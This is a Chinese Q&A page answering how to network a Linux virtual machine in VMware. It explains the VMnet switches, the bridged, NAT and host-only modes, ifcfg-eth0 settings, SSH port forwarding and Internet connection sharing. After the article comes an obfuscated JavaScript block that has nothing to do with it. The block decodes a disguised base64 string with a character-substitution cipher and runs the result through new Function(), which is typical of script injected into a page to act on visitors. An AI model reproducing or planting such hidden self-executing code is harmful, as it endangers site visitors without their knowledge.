VMware中使用NAT网络在虚拟机Linux上联网

2025-03-16 07:31:48
推荐回答(1个)
回答1:

第一部分:VMware中虚拟网络设备的简单讲解
VMware中有12中虚拟网络设备,10个虚拟交换机,从VMnet0到VMnet9;两个虚拟网卡,VMware Network Adapter VMnet 1和VMware Network Adapter VMnet 8。只所以叫他虚拟网络设备,应该他只是网络中编写的一个设备,现实中是不存在的,但是跟物理设备的功能是不相上下的。我只简单介绍比较常用的几种设备:
VMnet0:在桥接网络环境下的虚拟机交换机
VMnet1:HOST-ONLY网络环境下的虚拟交换机
VMnet8:NAT网络环境下的虚拟交换机
VMware Network Adapter VMnet 1:主机与HOS-ONLY虚拟机网络进行通讯的虚拟网卡
VMware Network Adapter VMnet 8:主机与NAT虚拟网络进行通信的虚拟网卡
第二部分:VMware中网络结构的介绍
虚拟机中有三种网络结构:桥接网络、NAT网络、HOST-ONLY网络。
一、桥接网络
真实电脑与虚拟机分别通过物理网卡和虚拟机网卡 VMnet0上通过虚拟机网络进行桥接,交换机将会根据组网的需要由VMware自动创建并自动应用。通过VM创建的虚拟机交换机,我们可以将一台或多台虚拟机连接到主机或其他虚拟机,我们可以将一台或多个虚拟机连接到主机或者其他虚拟机。
二、NAT网络
该设备为主机和其他使用NAT网络类型的虚拟机提供了通讯接口,同时还兼有NAT的功能,如果主机通过另外一个以太网适配器连接在一个外部网络上,该设备能本地网络虚拟机的IP地址转换为主机的外部网络地址,让虚拟机以主机的网络地址访问外部网络的资源,包括可以使用许多标准的协议,连接到外部网络上的其他机器,举这样的一个例子,使用NAT网络可以通过HTTP浏览网页,但是外部网络上的计算机不能建立到虚拟机的主动连接,也就是默认的情况下不能通过NAT来搭建服务,
三、HOST-ONLY
这个只为主机和使用仅主机类型的虚拟机提供数据交换的接口,所以由主机和使用仅主机网络类型的虚拟机机组成的网络,是典型的私有内部局域网
第三部分:从HOST通过NAT网络访问CentOS
先说明一下:
HOST:WindowsXP
虚拟机:CentOS 6.0
1、让VMware Network Adapter VMnet8自动获取IP地址连同DNS服务器地址,然后我们打开MS-DOC控制台,执行ipconfig /all命令,看看VMnet8的IP分配情况。
2、打开VMware软件,选择菜单VM->Settings,选中网卡查看其属性,将network connection配置为Custom:Special virtual network — VMnet8(NAT)。OK返回软件主界面。启动Redhat Linux 9系统,这时我们要将虚拟系统的IP配置成和之同网段(我这里是192.168.65.0,您的可能不同,这是VMware自动随机指定的一个IP地址)。
假如在命令行下,能够编辑/etc/sysconfig/network-scripts/ifcfg-eth0文档,内容如下:DEVICE="eth0"
BOOTPROTO="none"
BROADCAST="192.168.21.255"
HWADDR="00:0C:29:56:BF:F7"
IPADDR="192.168.21.116"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
NETMASK="255.255.255.0"
NETWORK="192.168.21.0"
ONBOOT="yes"
TYPE="Ethernet"
USERCTL="no"
PEERDNS="no"
GATEWAY="192.168.21.2"
DHCP_HOSTNAME="192.168.21.254"
NM_CONTROLLED="yes"
保存配置完后,重新激活eth0端口:
# service network restart
IP地址可由DHCP服务器来分配,因为在安装VMware后,会有一台虚拟的DHCP服务器虚拟机来分配IP地址,这个DHCP服务器实际是就是个系统服务,能够在“控制面板­-管理工具­-服务”里看到这个服务。
在NAT方式的网络中,虚拟机的Gateway都指向192.168.x.2, 本文中x=21, 这是虚拟NAT服务器的地址,他也是个服务器虚拟机,在服务管理里也能看到。
3、 这样winXP和linux就能够互ping通了,假如您ping不通的话,看一下您Windows下的防火墙是否不允许ICMP。
另外,多说一句,要让另一台PC通过局域网能够SSH登录访问刚才配置好的PC机里的虚拟linux系统,这里需要做一个映射。打开“Virtual Network Editor”(在开始菜单以及VMware界面的Edit菜单下都有。)。选中VMnet8,然后点击下面的“NAT Setting”,然后在点击Port Forwarding下的“Add”
Host Port:22 (主机中的要进行映射的端口)
Forwarding IP address : 192.168.21.116 22 (映射到哪个IP,哪个端口)
Description: VMLinux SSH port (简要描述)
假如要互访对方的虚拟机,同样配置可用于另一台PC。
第四部分:使用NAT方式联网
如果到第三部分,相信以及可以正常从HOST访问虚拟机了。但是,如果试着从虚拟机访问互联网,估计还不行。我们接着配置:
1、HOST:本地连接属性—>"高级"—>'Internet连接共享'–允许其他网络用户通过此计算机的Internet连接来连接:家庭网络连接选(VMware Network Adapter VMnet8)(这点重要)
2、虚拟机:系统→首选项→网络连接,在“有线”中选中System eth0,点击“编辑”,选中“IPv4设置”,方法选中“自动(DHCP)”。最后,点击应用。
注意:最重要的是你的两个服务必须开启:VMware DHCP Service 和VMware NATService.
具体操作如下:开始——设置——控制面板——管理工具——服务,确保 VMwareDHCP Service和VMware NAT Service服务已经启动。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();